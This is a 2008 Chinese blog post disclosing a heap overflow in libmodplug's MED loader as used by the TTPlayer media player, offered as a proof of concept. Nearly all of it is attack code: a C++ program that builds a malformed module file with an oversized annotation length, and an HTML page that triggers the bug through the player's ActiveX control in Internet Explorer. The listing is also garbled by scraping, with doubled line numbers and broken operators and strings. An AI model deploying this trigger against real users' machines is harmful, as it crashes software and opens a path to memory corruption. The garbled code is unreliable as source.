夜火博客

千千静听 mod 文件格式堆溢出[POC]

千千静听使用的是 libmod 来进行 mod 类文件格式的处理, 此库在 ReadMed 函数中,没有检查 文件描述的长度,如果传递一个恶意构造的值,将导致堆溢出。 现在采用libmod 软件很多,都应该存在此问题。

下面是构造问题文件的代码,最后是使用最新版本千千静听的 ax 写的 poc.

C++代码

1
1. /*
2
2. libmodplug v0.8
3
3. load_med.cpp
4
4. BOOL CSoundFile::ReadMed(const BYTE *lpStream, DWORD dwMemLength)
5
5. line 670: memcpy(m_lpszSongComments, lpStream+annotxt, annolen);
6
6. */
7
8. /*
8
9. author: dummy
9
10. e-mail: dummyz@126.com
10
12. date: 2008/02/25
11
13. */
12
15. #include <windows.h>
13
16. #include <stdio.h>
14
18. #pragma pack(1)
15
20. typedef struct tagMEDMODULEHEADER
150 collapsed lines
16
21. {
17
22. DWORD id;        // MMD1-MMD3
18
23. DWORD modlen;    // Size of file
19
24. DWORD song;        // Position in file for this song
20
25. WORD psecnum;
21
26. WORD pseq;
22
27. DWORD blockarr;    // Position in file for blocks
23
28. DWORD mmdflags;
24
29. DWORD smplarr;    // Position in file for samples
25
30. DWORD reserved;
26
31. DWORD expdata;    // Absolute offset in file for ExpData (0 if not present)
27
32. DWORD reserved2;
28
33. WORD pstate;
29
34. WORD pblock;
30
35. WORD pline;
31
36. WORD pseqnum;
32
37. WORD actplayline;
33
38. BYTE counter;
34
39. BYTE extra_songs;    // # of songs - 1
35
40. } MEDMODULEHEADER;
36
42. typedef struct tagMMD0SAMPLE
37
43. {
38
44. WORD rep, replen;
39
45. BYTE midich;
40
46. BYTE midipreset;
41
47. BYTE svol;
42
48. signed char strans;
43
49. } MMD0SAMPLE;
44
51. // MMD0/MMD1 song header
45
52. typedef struct tagMMD0SONGHEADER
46
53. {
47
54. MMD0SAMPLE sample[63];
48
55. WORD numblocks;        // # of blocks
49
56. WORD songlen;        // # of entries used in playseq
50
57. BYTE playseq[256];    // Play sequence
51
58. WORD deftempo;        // BPM tempo
52
59. signed char playtransp;    // Play transpose
53
60. BYTE flags;            // 0x10: Hex Volumes | 0x20: ST/NT/PT Slides | 0x40: 8 Channels song
54
61. BYTE flags2;        // [b4-b0]+1: Tempo LPB, 0x20: tempo mode, 0x80: mix_conv=on
55
62. BYTE tempo2;        // tempo TPL
56
63. BYTE trkvol[16];    // track volumes
57
64. BYTE mastervol;        // master volume
58
65. BYTE numsamples;    // # of samples (max=63)
59
66. } MMD0SONGHEADER;
60
68. typedef struct tagMMD0EXP
61
69. {
62
70. DWORD nextmod;            // File offset of next Hdr
63
71. DWORD exp_smp;            // Pointer to extra instrument data
64
72. WORD s_ext_entries;        // Number of extra instrument entries
65
73. WORD s_ext_entrsz;        // Size of extra instrument data
66
74. DWORD annotxt;
67
75. DWORD annolen;
68
76. DWORD iinfo;            // Instrument names
69
77. WORD i_ext_entries;
70
78. WORD i_ext_entrsz;
71
79. DWORD jumpmask;
72
80. DWORD rgbtable;
73
81. BYTE channelsplit[4];    // Only used if 8ch_conv (extra channel for every nonzero entry)
74
82. DWORD n_info;
75
83. DWORD songname;            // Song name
76
84. DWORD songnamelen;
77
85. DWORD dumps;
78
86. DWORD mmdinfo;
79
87. DWORD mmdrexx;
80
88. DWORD mmdcmd3x;
81
89. DWORD trackinfo_ofs;    // ptr to song->numtracks ptrs to tag lists
82
90. DWORD effectinfo_ofs;    // ptr to group ptrs
83
91. DWORD tag_end;
84
92. } MMD0EXP;
85
94. #pragma pack()
86
96. // Byte swapping functions from the GNU C Library and libsdl
87
98. /* Swap bytes in 16 bit value. */
88
99. #ifdef __GNUC__
89
100. # define bswap_16(x)
90
101. (__extension__
91
102. ({ unsigned short int __bsx = (x);
92
103. ((((__bsx) >> 8& 0xff| (((__bsx) & 0xff<< 8)); }))
93
104. #else
94
105. static __inline unsigned short int
95
106. bswap_16 (unsigned short int __bsx)
96
107. {
97
108. return ((((__bsx) >> 8& 0xff| (((__bsx) & 0xff<< 8));
98
109. }
99
110. #endif
100
112. /* Swap bytes in 32 bit value. */
101
113. #ifdef __GNUC__
102
114. # define bswap_32(x)
103
115. (__extension__
104
116. ({ unsigned int __bsx = (x);
105
117. ((((__bsx) & 0xff000000>> 24| (((__bsx) & 0x00ff0000>> 8|
106
118. (((__bsx) & 0x0000ff00<< 8| (((__bsx) & 0x000000ff<< 24)); }))
107
119. #else
108
120. static __inline unsigned int
109
121. bswap_32 (unsigned int __bsx)
110
122. {
111
123. return ((((__bsx) & 0xff000000>> 24| (((__bsx) & 0x00ff0000>> 8|
112
124. (((__bsx) & 0x0000ff00<< 8| (((__bsx) & 0x000000ff<< 24));
113
125. }
114
126. #endif
115
128. #ifdef WORDS_BIGENDIAN
116
129. #define bswapLE16(X) bswap_16(X)
117
130. #define bswapLE32(X) bswap_32(X)
118
131. #define bswapBE16(X) (X)
119
132. #define bswapBE32(X) (X)
120
133. #else
121
134. #define bswapLE16(X) (X)
122
135. #define bswapLE32(X) (X)
123
136. #define bswapBE16(X) bswap_16(X)
124
137. #define bswapBE32(X) bswap_32(X)
125
138. #endif
126
140. int main()
127
141. {
128
142. MEDMODULEHEADER mmh;
129
143. MMD0SONGHEADER msh;
130
144. MMD0EXP mex;
131
145. FILE* file;
132
146. long p;
133
148. memset(&mmh, 0sizeof (mmh));
134
149. memset(&msh, 0sizeof (msh));
135
150. memset(&mex, 0sizeof (mex));
136
152.= 0;
137
154. mmh.id = 0x30444D4D; // version = '0'
138
156.+= sizeof (MEDMODULEHEADER);
139
157. mmh.song = bswapBE32(p);
140
159.+= sizeof (MMD0SONGHEADER);
141
160. mmh.expdata = bswapBE32(p);
142
162.+= sizeof (MMD0EXP);
143
163. mex.annolen = bswapBE32(-1);
144
164. mex.annotxt = bswapBE32(p);
145
166. file = fopen("test.s3m""wb+");
146
167. if ( file == NULL )
147
168. {
148
169. printf("create file failed!
149
");
150
170. }
151
171. else
152
172. {
153
173. fwrite(&mmh, 1sizeof (mmh), file);
154
174. fwrite(&msh, 1sizeof (msh), file);
155
175. fwrite(&mex, 1sizeof (mex), file);
156
177. while ( ftell(file) < 0x1000 )
157
178. {
158
179. fwrite("AAAAAAAAAAAAAAAAAAAA"116, file);
159
180. }
160
182. fclose(file);
161
184. printf("successed!
162
");
163
185. }
164
187. return 0;
165
188. }

最新的千千静听提供了 ax, 下面是在 Ie 中触发此漏洞。会导致 ie 崩溃。

XML/HTML代码

1
1. <html>
2
2. <body>
3
3. <OBJECT ID="ttp" WIDTH="250" HEIGHT="400" CLASSID="CLSID:89AE5F82-410A-4040-9387-68D1144EFD03">
4
4. </OBJECT>
5
5. <INPUT TYPE="button" NAME="test" CAPTION="test" onClick="Test()">
6
6. <SCRIPT LANGUAGE="JavaScript">
7
7. <!--
8
8. function Test()
9
9. {
10
10. var controls = ttp.controls;
11
11. ttp.URL = "http:\127.0.0.1\test.s3m";
12
12. controls.play();
13
13. }
14
14. //-->
15
15. </SCRIPT>
2 collapsed lines
16
16. </body>
17
17. </html>

From:7jdg’s blog

本文标题:千千静听 mod 文件格式堆溢出[POC]
文章作者:夜火
发布时间:2008-03-03